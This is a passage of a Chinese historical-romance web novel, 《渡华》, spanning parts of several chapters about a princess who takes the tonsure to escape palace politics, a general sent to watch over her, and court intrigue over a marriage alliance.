平平一楞,每日一只,那些没长成的杀了实在可惜,况且长公主来采撷宫后便没沾过荤腥,这好像是要开荤的意思,一开便这么大刀阔斧,她有些心疼。 “是,殿下。”平平再次应声领命。 殿内昏暗沉闷,浇灌花卉苗木之后骆苕只在殿外来回走动。 用过早膳,皇太后宫中来人把骆苕接走,直至炎阳转正骆苕才回来,平平奉过茶水之后,也没见长公主回殿内歇息,只在屋檐廊下乘凉。 阿石和平平都瞧出了今日长公主的不同,二人提着心恭敬做事。 阿石清点了栅栏里的雄禽,一共二十七只,重新做了栅栏将它们隔开,余下的四十五只雌禽留在原窝。 骆苕看着阿石熟稔地做着事,不由问他:“你叫什么名字?” 阿石立在栅栏里,忙放下手中的鹅,躬身回道:“回殿下,奴叫阿石,石头的石。” “今年几岁?” “奴今年十二。” “家中可还有什么人?” 阿石摇了摇头。 骆苕半晌无话,阿石弓着身打开栅栏门,退出去,去到一旁抱起木桶。 “殿下,奴去粘蝉。”阿石后退几步,抓起一早做好的蛛丝网兜逃出采撷宫。阿石刚出宫门,便遇上了拿着煨鸡香料回来的平平。 阿石见平平一脸闷闷,知她遇上了什么不好的事。 他问:“怎么了?” 平平拭掉额上的汗:“没怎么,遇见了几个相识的人,往常她们都跟我招呼一声,今日我向她们问好,她们连眼都不抬一下,像是在躲着我。” 阿石回身看了一眼远处的禁卫道:“你先回去,长公主需要人伺候。” “嗯。”平平也不耽搁,扭头边往里走。 中途阿石算准时辰,回宫帮平平抓好鸡,宰完鸡后又出去粘蝉、捉虫。 平平将鸡退毛冲洗干净,加上香料盛在釜中,架在小炉子上慢慢煨着,因鸡嫩,用时得掐好时间。 她时不时地过去瞅一瞅,翻一翻。 文火慢慢煨着,釜中飘出香气,平平咽了咽口水。 骆苕也闻到了飘来的香气,起初闻着有些恶心,慢慢便习惯了。起身往小厨灶这面来,看着弓身面对着炉子一动不动的平平,轻轻咳了一声。 平平一个激灵弹跳而起,回身一礼:“长公主殿下。” “嗯。”骆苕对她说,“去擦把汗。” “是。”平平放下手中木勺,退去洗脸擦汗。 骆苕在小炉子前来回瞧着,青烟和釜中的水汽一同溢出,她亲养的鸡此时在釜中静静地散发着香味。 她从未做过庖厨内的粗活,如今见着釜中的鸡竟生出别样的欢喜来,执起木勺在釜中搅了搅,舀起一层橙黄的油脂。 她养的鸡肥了些,雄鸡都这么肥。 听说家禽养得太肥,也不容易生卵,那往后要将雌禽的吃食苛扣着些。 骆苕放下汤勺,踏进日光之中,仰首迎上未时一刻的骄阳,骄阳炽烈如油纱敷面,闷得她喘不过气,额两侧的穴位突突直跳,她退回小厨灶的阴凉下。 用膳时,骆苕只要了一碗鸡汤,余下的鸡肉吩咐阿石和平平分食。 阿石和平平看一眼釜中的鸡后,又面面相觑。 最后平平朝前一跪,胆颤心惊:“殿下,俾子不敢!”阿石不说话却跟着跪了下去。 “你叫什么名字?”骆苕对下人的声音一向不高,带着些疏离。 “回殿下,俾子叫平平。” “今年几岁?” “俾子今年十三。” “你们起来。” 平平和阿石应声站了起来。 骆苕静下一瞬,动手撕下一只鸡腿:“我只想喝碗新鲜鸡汤,并不想吃肉,若留到明日便会馊,今日你们二人定要将鸡分食干净。” 最后道,“你们下去。” 平平还是不敢动,阿石却起身朝前一步,端起陶釜给平平使了个眼色,自顾先退了出去,平平才跟着退出去。 骆苕望着鸡腿,想起昨日之后便没见着的狸猫。 阿石将陶釜里头的鸡拿出来,热汤刚好倒满两碗,放下陶釜一声不响地喝了起来,平平见状也默不作声地端起鸡汤,吹开上头的浮油,唇贴上碗沿小小呡了一口,鲜汤还未下肚,五脏六腑先被舌尖打开,暗暗直呼好喝。 阿石比平平吃的快,吃完又去粘蝉捉虫。 平平刚把碗筷收拾妥当,便听见宫外有人在急拍宫门,心下一颤忙擦干双手去到门口,打开宫门。 瑶太嫔见宫门打开,已经顾不得礼数,急得不得了:“快去通禀长公主,瑶太嫔求见!” “是。”平平正正行了个礼折返回去。 骆苕也听见了外面的动静,此时已立在院中。 “殿下,瑶太嫔求见。”平平上前禀明。 骆苕问:“禁卫没拦着?” 这样一提醒,平平一愣,刚才门口的场景从脑中一掠而过,往日宫外把手的禁卫无影无踪,她摇了摇头:“俾子没见着禁卫。” 骆苕微微颔首:“迎瑶太嫔进来。” “是。”平平领命退去。 骆苕去到院中的凉棚下等着瑶太嫔。 这是昨日宫宴之后求见她的第一个人,禁卫不见踪影,这个时辰急切求见,有些费解。 瑶太嫔见着骆苕,直接给她跪了下来:“长公主,救救潆儿,她还那么小,不能和亲东刕啊……” “瑶太嫔,先起来。”骆苕见状伸手去扶,却扶不动她,“不起来,我便没法跟您说话。” 瑶太嫔闻言,抽泣着起身,含糊不清急急说道:“我听闻……听闻陛下有意……有意让潆儿和亲东刕!潆儿她才十三岁,不能去啊!长公主定要救救她……救救她!” “您先坐。”骆苕看着瑶太嫔,问,“您是听谁说,陛下有意让潆儿去和亲的?” 瑶太嫔目光躲闪摇头,支支吾吾,啜泣道:“没……没人说,我是不小心听见下头的宫人议论……”见骆苕一副不急的模样,于是噤声拿帕子拭泪水,坐下平复心情。 不知这瑶太嫔受了谁人蛊惑,来采撷宫求她救潆儿,真道是关心则乱,骆苕见瑶太嫔差不多能听得进去事了,才问她:“陛下可下了明诏?” 瑶太嫔怔了下,摇摇头。 骆苕直接说:“这事,不是我一个公主能插手的。 6. 第六章 《渡华》全本免费阅读 日光浓烈,烘得庭院暑气盘旋不绝,热浪毫不客气地从窗外流窜进卧房。 夏蝉刺耳的嘹鸣声一阵一阵叩击耳膜,凌文袤从沉睡中醒来,缓缓眨眨眼。 抬手摸向脖颈。 手掌霎时沾满一片黏腻汗液,他深吸一口气,手臂释力,绵软地粘在肩胛颈侧。 他再度阖眼醒一醒神。 这一觉睡得还算深沉,若不是被热醒,他还能继续睡。 懒懒起身,回身看了一眼被他躺卧过的位置,洇下一团人形汗液。 他趿上木屐,胡乱拢了半面衣衫,大步往外走。 等候在外的侍女忙迎上前,递来一方凉巾,凌文袤斜睨着人接过,边抹脸边吩咐:“备浴汤。” 侍女恭敬,问:“五郎主是要冷浴还是热浴?” “冷。”凌文袤说完立时又改,“热。” “是。”侍女退去,去准备浴汤。 另外一位侍女迎过来为凌文袤摇扇,凌文袤步子大,侍女跟得急,他直接夺下侍女手中的蒲扇自己使劲扇。 “去,拿些瓜果、冰来。”凌文袤边吩咐边大步去到院廊下草席上纳凉,顺手灌了一盏凉茶。 潮气一团一团往身上裹,这凉,纳得是越来越腻。 凌文袤用扇柄挑开后颈黏在皮肤上的衣领,原本缭乱贴在身的衫子吃不住力,又乱去一些,半扇膀子完全暴露在外。 不消片刻,侍女托着沉甸甸的呈盘行至草席边,跪下,将呈盘放在案几,挑了片贡果西瓜,送至凌文袤跟前,递上柔声软语:“五郎主,请用。” 凌文袤视线从天际收回,转头盯着那片红彤彤的瓜瓤,有些发怔。 西域已多年无贡,而眼前的这片西瓜新鲜水灵,瞧样子不似贡果,若有所思接过,视线重新聚焦,顺着瓜瓤红边搭在了侍女胸前。 “下去。” 凌文袤蒲扇一摇,抬眼望去前方。 侍女幽幽起身,将要离去时,忽闻郎主相问:“这西瓜哪来的?” “回五郎主,”侍女身形一顿,脸露喜色,道,“是俾子报于后院管家,从地窖冰鉴里取的。” 凌文袤面色寻常,额角却微不可察地一紧:“可是出自段氏果园?” 嫌侍女答非所问。 段氏果园主家段猷,出身门第不高,为人低调,不跟奢靡清谈之风。毕生研习、实践《齐民要术》登峰造极,凭一己之才包揽京都贵胄瓜果供养。 只因段氏瓜果品相、滋味无可匹敌,惹得京都贵胄争相拥抢。 孝玄帝骆炜诠曾许以高位诱段猷入官,但段猷回绝,只说若有可塑之才愿意研学,他可教授其中要术,至于实践,要因地而异。 纵使后来学子万千,也无人能及段猷之才。 段氏家族不可入朝为官,好似早早成了一条不成明的规矩。 凌文袤微微叹息。 乱世当道,谁都以求自保。 侍女神情一思,忙应:“是,的确出自段氏果园。” 凌文袤沉眉,盯着西瓜咬上一口,细细咀嚼,觑一眼侍女,说:“下去。”声色威而不严。 侍女讷讷离去。 凌文袤又咬一口,满嘴脆瓜甜汁,满意点头,原来大嵘的土地是可以种出如此可人的东西来的。 舌尖的西瓜子被他吹去老远。 他总觉得不过瘾,拈来碗内盛着的冰块丢入口中,咔嚓咔嚓咀嚼起来。 双眼望着侍女背影停顿一瞬,再次摇起蒲扇。 木桃他不爱吃,枇杷,侍女还没来得及剥皮,他也懒得剥,看过几眼算是完事。 这天儿闷得让人心悸,凌文袤摇蒲扇的手臂搭在膝头,抻着脖颈望着天,这雨好似还得迟一些才能下。 呈盘内的西瓜,被凌文袤风卷残云般地收拾干净。 侍女来通禀:“五郎主,浴房已准备妥当,可以去洗了。” 凌文袤起身,随侍女往浴房去。先前的那个侍女来收拾走呈盘,记下了他喜欢吃的瓜果,果然,矜贵的人只喜欢金贵的吃食。 行至浴房门口,凌文袤独自入内,让侍女别进来扰他。 沐浴一事上他向来速战速决,轮不到侍女上手。又惯爱冲冷浴,天若热,他更喜欢扎进河里涤荡全身。 如今,人在京都,身不由己。 今日要好好洗发,所以要了热汤。洁过齿,站在浴桶边,边解发边打量浴桶。 这桶根本不够他蹬直腿。 站在浴桶外,拿瓢舀起一勺当头淋下,淋完,全身挂着水左右找东西,小声自我嘟囔:“浴发膏呢?” 每次回京都,来去匆匆,回湧州后他所用的浴房物什都会被清理干净,实在对浴房不够熟悉。 浴房外的侍女耳聪目明,听见里面的询问,如获指令赶紧入内,将浴发膏递到了他手中,垂着眼,一脸柔顺娇羞:“俾子伺候五郎主沐浴。” 凌文袤接过浴发膏,不耐,连道:“出去,出去。” 此时顶着一头贴颈湿发别提多难受。 侍女无法,只得慢慢退了出去。 凌文袤搓着泡,看了一眼自己全身,衣衫半开不开,湿哒哒地黏在身上,庆幸没脱光,按以往惯例,衣物早就挂不住,先脱光了去。 若非用心,人的习性最为难改,但此时,谁叫他人在京都呢,头发和身体都可以分开洗。 等蹲进浴桶刚想靠上一会儿,只见刚才那侍女又无声无息地摸了进来。 “五郎主,俾子为您添水。” 凌文袤侧着头看她绕过漆屏,低眉娇柔一路缓缓过来。 她身上的衣裳是怎么让她越穿越少,越穿越没影的?眉心一绞,亮喊一声:“一青,给我进来!” 少年家奴一青,也不知从哪个犄角旮旯处现身,冲进浴房,惶惶地望着凌文袤。 凌文袤朝侍女扬起下颌,语音稀松平常,“把她丢出去,丢远一些。” 一青一愣,结结巴巴地应下,钳住侍女手臂就往外拖,侍女惊得都忘记了叫喊,双目瞪得老圆直盯凌文袤。 凌文袤没搭理她的意思,正自顾捧水洗着脸。 沐浴完,凌文袤拿干巾使劲搓着头发。搓着搓着想到了宫里的那个人,一头的乌发,打理起来肯定麻烦。 凌文袤身为武将,以防头发难打理,修剪至背夹中段。发黑如墨,就是质地偏硬一些,偏硬一些,应当也是跟宫里的那个人比较过的。 五指不由插进发根抓捏一把,试图感知一下触感。 如何安置她? 鬼晓得。 哪里来的姿仪双绝,大嵘风行飒爽的女子,像她那样娇艳的模样也不是人人都爱。 待头发半干时,凌文袤直接挽发正冠,鞋履衣袍穿得笔直周正。 穿过重重游廊,几座院落,抵达东面他母亲单独所辟的“崇趣堂”,侍女引他入内。庭院老梧桐树下,赫连萨朵手中正拎着一竹笼,抬眼看向凌文袤。 母子二人相视而笑。 “来啦。”赫连萨朵将竹笼塞进侍女怀中,利索起身,“阿母都等你好久啦。” “阿母。”凌文袤衣袍板正,叫的却是很甜,“天热,洗了个澡。” 赫连萨朵抽帕抬手给凌文袤擦汗,母子二人常年聚少离多,每一次相聚都让赫连萨朵觉得时间过得太快,幸亏此次能待久一些。 一转眼,她的儿子都长成了倜傥模样。 “还没用过饭吧?”赫连萨朵一面问凌文袤,一面急切地指使侍女,“快去让厨堂做几道郎主喜欢的菜。” 侍女领命退去。 凌文袤接过赫连萨朵手中的绸帕,胡乱抹了一把,再一看,绸帕上留下的汗印自己都不好意思还给赫连萨朵,堪堪笑起来。 赫连萨朵也跟着笑,埋怨:“你也真是的,在家还穿这么周正做什么,大衫一披不知凉快多少。” 赫连萨朵知道每次凌文袤见她都穿得极其周正,好让她这个母亲知道她的儿子稳妥持重,再次远行也少些操心牵挂。 “见阿母,自然要穿得周正。” 凌文袤随赫连萨朵坐向树荫下的凉榻,戳了一下案几上的竹笼,里头硕大的蝈蝈随竹笼滚上半圈蹦跶一下,竹笼跌下案几,凌文袤当空一抓,稳稳接住,放回案几。 赫连萨朵最常听凌文袤说—— 为阿母,自然要…… 为阿母,必须要…… 为阿母,无所谓…… 赫连萨朵让侍女给凌文袤摇扇,凌文袤直接示意侍女把蒲扇给他,凌文袤手劲大,一摇,同时将母子二人罩在凉风里。 “人长得如此好看,又穿得这么周正,该给你心爱的女子看看才是。”赫连萨朵又开始老生常谈。 凌文袤脸颊一抽,想起自己宅院里母亲给安排的几位侍女,“嘶”了一声,笑:“阿母啊,每见您一回,您就念叨一回,儿子都不敢往您这儿来了。” 手中蒲扇一滞,看向赫连萨朵,傲娇道,“这世间的女子,谁能配得上您的儿子呢。” “哟。”赫连萨朵打趣,“真是见你一回,脸皮厚一寸,阿母都替你害臊,这世间的女子一瞧你这德性,还不得绕道走。” 赫连萨朵很清楚,凌文袤的正妻,她和凌文袤都没权决定,运气好,碰上个凌晖指定的,凌文袤差不多中意的,已然很不错。 与凌晖的原配昭阳公主相比,赫连萨朵只能算是继室,凌文袤和世子凌承佐同为嫡子,区别却显而易见。 如今这个节骨眼,看中嫡庶长幼尊卑的凌晖,定要把这个儿子的婚娶之事拿捏在手里,凌文袤所娶之人的家世高不能,低不成。 极有可能待到大局稳定后,她儿子的婚事才能做打算。 姬妾倒无所谓,赫连萨朵希望凌文袤多少开化一些。现下困在京都,宫中职务也已撤去,要是还窝在内宅陪老母,凌文袤心里会闷。 “绕就绕呗,谁让您把儿子生的好,眼光高。”凌文袤闲闲呼出一口气,这天已经闷得能掐出水来。 只等下雨。 赫连萨朵嘴角一撇,笑着瞥瞥眼:“那长公主,可入你的眼?” 赫连萨朵没由来的一问,让凌文袤摇扇的手好似不那么自在,他皮笑肉不笑地冲赫连萨朵摇头干咳两声,并未答话。 “这都入不了你的眼?”赫连萨朵看着凌文袤,跟着摇了摇头,“你这不是眼光高,是压根没长眼,阿母是头一回见,皮相骨相都生的这般好的女子,只是,可惜了,可惜世子没那福气。” 凌文袤半阖起双眼,今日 7. 第七章 《渡华》全本免费阅读 夜里,深巷犬吠四起。 凌文袤倚在床上没睡,白日里的那一场酣睡让他攒够了精气神。 从前随舅父在外征战,养成了人入睡耳朵当哨岗的习性,一丝的风吹草动都逃不过他的耳朵。 今夜的犬吠异常。 他翻身下床,趿上木屐推门而出。瞥见瘫坐在地,趴伏于案角熟睡的侍女,越过她快速往外走。 此时不睡觉的人可真够多的,赤眉和一青立时现身,跟在凌文袤身后。 凌文袤立在院内,抬头看了看屋檐,下一瞬毫不犹豫,往前奔两步,左脚点墙借力跃上屋顶,月黑风高,他的鸦色长衫随风一扬,淹没在天际。 放眼望去,凌府里的火光不同往日,再远一些,似乎隐隐看到一溜移动的炬火朝上跃起的亮光,位置不够高,所以他看不清全貌。 没一会儿,火光渐远,而凌府里异动还在。 他跃下屋顶,对赤眉、一青说得闲散:“你们该睡就睡,白日里我睡过,夜里只是出来透透风,不必紧张。在家,你们不用寸步不离地跟着,出门,我会带上你们。” “是。”赤眉应话的时候像个规矩的木俑。 凌文袤径自回卧房。 很好,那侍女还在酣睡。 几近天明,凌文袤才沉沉睡去,在宫里当差真磨人,比在疆场还磨人,磨得他日夜颠倒。 又是日晒三竿,又是被热醒。 还没起,便听见外面侍女通禀:“五郎主,有客求见。” 凌文袤还溺在燥热里,他没在京都走动过,怎么会有人求见他?也不问是谁,翻身下床榻吩咐:“让人先候着等一会儿。” 侍女刚应下,便见里头的五郎主一阵风似的过去。 凌文袤去浴房匆匆淋了个冷水澡,去到堂前,一看来人,直呼:“慕容无双,你的鼻子可真够灵的,这么快便登门拜访。” 慕容余,表字无双,勍州柱国大将军、辅国公慕容烈嫡孙,孙辈中排行第九。 和凌文袤有过两三年交情,慕容余曾在湧州和凌文袤混过一场,暗夜踏冰过河刺探敌情他俩干过,险些把命给交代在敌营。 少年人最大的便是胆,硬生生让二人涉险摸回己岸,带伤让凌文袤的舅父关了好几日。 凌文袤在京都少有的交情里面有慕容余。 “凌宪。”慕容余闻言仰天打哈哈,直接搂上凌文袤的肩胛,“要说鼻子灵,谁人敢跟你比,嗅着风里的残羹冷炙味都能知道敌军昨日吃的是什么。”直埋怨,“回来也不说一声,今早还是大冢宰转告家父,说你回来了,让我来找你叙叙旧。” 宪是凌文袤的表字。 凌文袤揶揄:“大男人,有什么旧可叙的。” “谁说不是,大男人有什么旧可叙的。”慕容余眼珠子一溜,“大冢宰的意思是,让我领你熟悉熟悉京都城,怕你一人照应不来,从前你领我干仗,往后在京都城我罩着你。” 凌文袤挑眉,无趣摇头。 慕容余觉得热,放开凌文袤:“今年是百年难遇的热天,逢夏各地都歇战,正好也让你安生待在京都。” 凌文袤指了指侍女送来的瓜果,示意慕容余自己拿。 慕容余抓了一片自顾说:“是该歇歇了,年年干仗,寸草不生,让草多长长也好。”又嗤了一声,“人头,要有草长得快就好了。” 他说的没错,大嵘天时地利人和一样没占,亟需修养。 天不时,连年天灾只盯大嵘。 地不利,占据的河山本就贫瘠一些,还被外敌包夹在其中。 人不和,前面两项在前,再加政局动荡,人能和才怪,常有自立为王的,还得去打,去招安。 凌文袤依旧默着。 慕容余嚼着西瓜,说得含糊不清:“听说……你才起的……应该还没用饭,今日先带你去搓一顿?” 凌文袤想了下,说:“哪里凉快清净去哪里。” “京都有名的地方可不清净。”慕容余打趣,“你还怕见生人?” 突然,凌文袤抬眸看慕容余,定定地问:“去醉仙馆,如何?” 慕容余被西瓜汁水一呛,咳出声响,似是不信:“你凌宪……何时也入了大流,开始招妓了?” 醉仙馆可是妓馆啊。 “带不带我去?” “去,当然要去!”慕容余兴奋到跳脚。 正午,烈日炎炎。 醉仙馆内香气冲天,附庸风雅之士狎妓侑酒,熙熙攘攘犹如市集。 慕容余为凌文袤好不容易抢下宽敞通风的雅堂,送吃食和酒的侍女退去,鸨母领着一众美妓向前站立。 “挑吧。”慕容余双臂抱胸,脚跟扣地饶有兴致地催凌文袤。 凌文袤拿眼扫过去,伸手快速指了指几位。 慕容余心一颤。这么多! 才多久没见,竟性情竟大变,玩的可真够花的。 鸨母会意,留下了方才指的几位,领着旁的退了出去,凌文袤拿起筷子朝美妓们一指,头也不抬命道:“都别说话,站在那别动。”说完直接先吃了起来,仿佛来的是酒肆饭馆。 美妓们垂着头左右相互探看,其中一位试图上前为他斟酒,刚伸出一条腿,腿上的薄衫还未滑开,只见凌文袤拿筷子朝她一定。 “叫你们别动。”慕容余把凌文袤含在嘴里的话续上,那美妓忙收回落地没踩实的腿。慕容余自己过去倒酒,二人相互碰杯,不声不响地饮酒。 饭饱神虚之时,凌文袤才掀眸看向一众美妓,美妓各个体态丰腴曼妙,肩上的纱衣滑落搭在臂弯。 凌文袤起身,朝美妓们走过去,将筷子掉了个头,挨个把她们的脸颊挑起,一道一道夹过去,一众美妓全部仰着头,定在被他夹起的位置。 没动。 这些美妓没一个会躲的。 慕容余被眼前场景震住,随后忍不住连连发笑,真是没见过这样的稀世场面。 “你夹菜捏泥人呢!”慕容余耐不住大声抱怨,“捏泥人好歹上手啊!” 凌文袤呼出一口气,把筷子往案上一掷,挥手:“下去。” 一排的美妓不明就里还呆在原地。 慕容余皱眉敛笑,吩咐美妓:“快下去,去樊孃那领赏去。” 美妓们这才挪着碎步离开,几位胆大的抬头看向凌文袤,今日这个特别的人,长的也特别入人眼。 等美妓退完,慕容余看向靠在风口榻上的凌文袤。凌文袤双臂交叠在脑后,神思根本不在醉仙馆。 “想什么呢?”慕容余自己倒满酒嘬上一口。 半晌,凌文袤才道:“想湧州的事。” 湧州那一场,凌文袤第一次主帅的仗,败了被撤职,慕容有所耳闻,纵观各地打仗全是有来有回,你今日占了个山头,明日指不定就丢了座城池,进进退退也不知为了什么。 若放在个人身上,便是天大的事,凌文袤还顶着一股气,慕容余不知如何相劝,只能嘬酒散思。 这样下去也不是办法,好像只是寻个地方乘凉一样,怪别扭的。 慕容余盯着酒杯中晃动的琼浆,问:“你可听说了,昨夜长公主的事?” 正半阖眼的凌文袤猝然睁开眼眸,慢慢又全部闭了回去。 慕容余消息向来灵通,京都各种大事小事逃不出他的耳目。 骆氏皇族与凌家 8. 第八章 《渡华》全本免费阅读 皇宫斜芳殿内。 瑶太嫔呆坐在骆潆的床榻边,娴熟地摇着羽扇,看着自己的女儿。 案上青瓷莲花碗中的汤药早已凉透,悄无声息地散发着苦味,弥漫整个寝殿。 原本骆潆体弱,瑶太嫔借着骆潆体弱,早早盘算起骆潆的婚事,前两年让骆潆装病一直到现今,可,依旧没能逃脱和亲的命运。 她也不知是否自己太过愚笨,让旁人瞧出了端倪,知晓骆潆的身子并没有那么差。 昨日去求骆苕,今日得到的信是,骆苕剃发连夜搬去了公主府。没有人给她答案,她只记住了骆苕的那句话,皇帝没有下明旨。 好像只有这句是值得让人琢磨。 床榻上的骆潆哭累后才睡着,还时不时地抽噎打颤。 这深宫中的人个个都不同。 有些人只说几句话,可句句里头都是意思,而有些人说破了嘴皮,没有一句是有用的,瑶太嫔觉着自己是说破了嘴皮都没用的人。 皇帝没有下明旨。 瑶太嫔起身,向婢女重新要来剃刀,幽幽转回床榻边坐稳,抖着手伸过去想要为骆潆剃去长发。她去求长公主,长公主未给答案,或许已经给了,自己没领会不知道呢? 皇帝没有下明旨,效仿骆苕剃发入空门也是一种法子。 皇女私自剃发是大罪,可若说是长公主指使她如此的呢?再则戴罪之人便不会送去和亲了。瑶太嫔青葱五指握着剃刀,一截玉藕瓷臂悬在半空很不稳,她还需再稳一些,一旁的婢女屏息不敢出声。 瑶太嫔调匀呼吸,再度出手。 骆潆蓦然睁眼,与瑶太嫔对视上,瑶太嫔心一颤,险些抖落剃刀,骆潆缓缓伸出双手握住她的。 “阿母,算了吧。”骆潆双眸又开始泛红,“我也哭累了,认命了,听闻东刕大王子岁数不算大,总可以安生过上几年的。自幼我最爱的,便是这一头乌发,如今连它也要被绞了去,这比让我死还难受。带发修行真的不行?不入佛门,也可以入道门,道门便不用剃发。” 瑶太嫔没忍住,两行泪也跟着淌了下来。 此时不是意气用事的时候,关键不是东刕大王子的岁数,而是,倘若留在大嵘,还有一丝希望,去到东刕,无依无靠,皇权更迭后,谁能把和亲的前朝公主当人看? 瑶太嫔吸鼻抹泪怜惜道:“傻孩子,这头发绞了还会长出来的呀。长公主都剃发修行,我们照着学准没错。”她小心挣脱出执剃刀的手,将剃刀交给婢女。 骆潆因装病,瘦到没了福相,颜面虽带有残余的一丝血色,可该有的稚气却未曾留给她。 “长公主真的落发为尼了?”骆潆心一落逼迫自己接受现实,连着骆苕的乌发都疼惜起来,声若蚊蝇,“若是真的,可惜了那一头秀丽长发。” 瑶太嫔见骆潆有些松动,有了一丝安慰:“长公主过几年一定会还俗,到时候你也可以,况且你还这么年轻。” 骆潆想了片刻,央求道:“阿母,明日一早我再剃,可否?” 瑶太嫔心软,为了骆潆的乌发再捱一夜。 ** 京都东郊宁华公主府。 昨夜匆匆入公主府,一众人都未安睡。太后遣了两位女官一同入府,帮衬打理府邸,安置从平宁宫搬来的一切物件。 阿石连着瞌上两个哈欠后打起精神,完结关家禽的栅栏编制。 他看了一眼一旁关狸猫的竹藤猫笼,直摇头,长公主从昨夜开始,便一直在安抚那只凶得要死,只粘长公主的狸猫。 阿石算是一个尴尬的存在,一个阉人不知进的是公主府还是寺庵,倒是没人在意他,再望向贯行在庭院中洒扫的婢女,比起皇宫,幸亏公主府不算特别特别大,人多打扫起来也没花多长时间,今日日落后便能大致完工。 骆苕安抚好狸猫,拍了拍粘在身上的无尽猫毛,拿湿巾帕擦手拭猫毛。她能断定这猫不出七日便会成为这山林中的野猫。 她起身往东门而去。 东郊是避暑的好去处,府邸外茂林修竹,晚霞协同山色印上河面,一波一波细细荡漾过来。 骆苕头戴玄色风帽,风帽下是同色覆头及腰垂纱,一年前亲自改良的样式,一丝不差地与她的连珠纹半袖外袍融合在一起。 她是俗人,即便剃了发也还是俗人。 白言霈将府邸选在地势稍高的河西岸,垒上基石修了条长廊,与府邸东门相连,又独自成势,只为她一人而造。 骆苕五步一回首,廊面廊柱没来得及重新上漆,一眼望去还是原来的模样,只是她的白言霈回不来了。 风起,长廊檐角的风铎轻轻摇晃,发出一阵细碎脆响,风铎为驱赶雀鸟挂得密,骆苕曾经嫌吵。 “平平。”她吩咐,“让阿石得空将铎舌取下。” “是,殿下。”平平好像挺困,极力打起精神应下,一抬眼,发现骆苕在看她,赶紧挺直腰背。 骆苕说:“你下去,吩咐人准备浴汤。” 平平应声退去,长廊只余下她一人。 翌日清晨,骆苕跪在蒲团上诚心祝祷。 二仗高的佛龛奉在正堂,龛阁是寻常样式,前面缀着几层帷幔看不见里面的佛像,香案上青烟袅袅。 佛本无相,相由心生,骆苕紧盯帷幔,她寻不到心中的安宁。 府邸宅院高阔,一进一院落,一进一庭堂,盘着游廊,宅内檐角挂的风铎硕大,它们的铎舌未曾取下,悠远清铃伴着欢快鸟鸣阵阵入耳。 又听见女官急急的脚步声。 “殿下,玄雀卫来人了。”女官通禀。 骆苕起身人还未站稳,便听见了熟悉的声音:“长公主,卑职奉命而来,多有搅扰。” 佛堂前如此高声,来人也不忌讳。 女官不料人会直接跟进来,压声怒道:“你……你们玄雀卫也太无礼了!” “诸事繁杂,无礼便只能无礼了。”来人意不在此,回得更直接。 骆苕回身,只见冯侍卫已经将她从头到脚看了个遍。 过后冯侍卫不忘虚虚抖了抖手中的公主府建造图:“请长公主带卑职去河边长廊叙话。”瞥了女官一眼,“你们别跟着。” 女官被命令似的语气噎住话,望向骆苕。骆苕拂袖示意女官退去,亲自把冯侍卫往东门河边长廊带。 “我以为你是诚心出家为尼呢,原来是为了躲清静。”冯侍卫跟在骆苕身后,怨气甚满,“害我一宿没睡,你猜为何没睡?” 骆苕回:“估计是在想,那缕说要赠你的长发,说没就没了。” 冯侍卫脸颊不适,唇齿有些僵,顿上一顿,道:“那倒不至于,是在想,第一个看见你光头的男人是谁。” “你急急入内,便是为了争做第一?” 冯侍卫拂去前头探在道上的枝丫,几近贴住骆苕,道:“倒是想,不过还得掀帽,麻烦。” 骆苕越过枝丫,无话。 冯侍卫滞后放开枝丫。 出东门,过石道踏上长廊,冯侍卫便向河对岸一处指去:“公主府不能留男人,你要的女府兵暂时也招不齐,往后我们玄雀卫在那搭个屋舍,专门看护公主府,如何?” 骆苕抬眼看去,已经有人在那处动工。 还能如何? 骆苕只说:“有劳冯侍卫。” “可别有劳冯侍卫。”凌文袤仰天呵了一声,“是我凌文袤,该有劳长公主,往后少折腾些才是。” 凌文袤自报名讳让骆苕心头大骇。 凌晖竟让自己的儿子,冒名顶替冯家人入宫。 骆苕语噎,目光钉在凌文袤脸上,子不类父,连容貌都无一处相像。 思绪再一流转。 凌文袤,凌晖第五子,赫连萨朵独子。在副都竼城凌氏与赫连氏相互倚靠,镇守一方得以大大起势,曾因庇护大嵘的皇帝,骆苕的父亲骆炜诠有功,凌文袤的父亲凌晖和凌文袤的舅父赫连度兴得以重用。 凌晖和赫连萨朵的这个儿子打小养在别处,不知几岁便随舅父赫连度兴四处调遣,如今据守湧州好些年。 赫连度兴与凌晖截然不同,赫连度兴不喜权谋纷争,只钻兵法。 凌文袤云淡风轻地接受骆苕打量,骆苕瞥向河道,讥道:“我折腾我的。不过你么,是你父亲把你当驴使,与我何干?” 凌文袤眉心一跳,还没想出如何应答,只见骆苕又说,“大嵘好女郎多的是,战时被点召入军,大多只是襄理后勤,偶有几支出类拔萃的女子领军,战后功勋还被压得死死的,那么多女子,稀里糊涂地被点召入军,她们不求功名好似天经地义。我这公主府,也就你们凑不齐几个女府兵。” 骆苕怨气有些重。 话音刚落,二人四目不愉快地对峙上。 凌文袤彻底语噎,这一句他无力反驳。 从河对岸传来突然的呼声,打断二人刚擦起的火星。 “诶!”慕容余向这面大力挥臂,声音嘹亮,响彻山林,“早啊,长公主殿下!” 骆苕收眼看向对岸下侧,慕容余还是一副如从前一样嬉笑的样子,边跑边呼,恰逢旭日东升,朝阳浸入朝雾,快速推开天地间的氤氲,把所有人的影子拉得老长,只有慕容余奔跑的身形映进河水,身影掠在河面,很是有趣。 “你怎么不入府?”骆苕看着慕容余跑到正对岸才问他,河面约莫有六七仗宽,她喊起来挺费气。 慕容余也是一身玄雀卫衣袍,慢慢刹住脚,灿笑道:“我要监工啊。”向凌文袤一挥手,喊,“凌宪,东郊很凉快,我说得没错吧!” 凌文袤面色阴沉,默着。 慕容余又看向骆苕,一会儿,连连赞叹:“长公主这身打扮,必将成为京都之风!小弟见之甚是欢喜。”他还是惋惜他这表阿姊的一头乌发,不剃,盖在皂纱之下还不是一样。 骆苕冲他笑笑。 “你们聊,可别吵架!”慕容余掉头往回奔,丢下一句,“有话好好说!” 骆苕看着慕容余飞快跑远。 “你这长廊连个坐的地方都没有。”凌文袤双手搭向阑干,扭头顺着日光看向骆苕,“一宿没睡,骨头软。” 朝阳斜照,全部扑在骆苕的大半张脸上,她侧首逆光看向凌文袤,问:“还有事?”灼目的日光让她,不得不抬袖去遮挡。 往后监视她的屋舍就在河岸对面,她已知道。 凌文袤直起身寻了个贴切位置,挡去初升的燥热,把骆苕框进阴影。 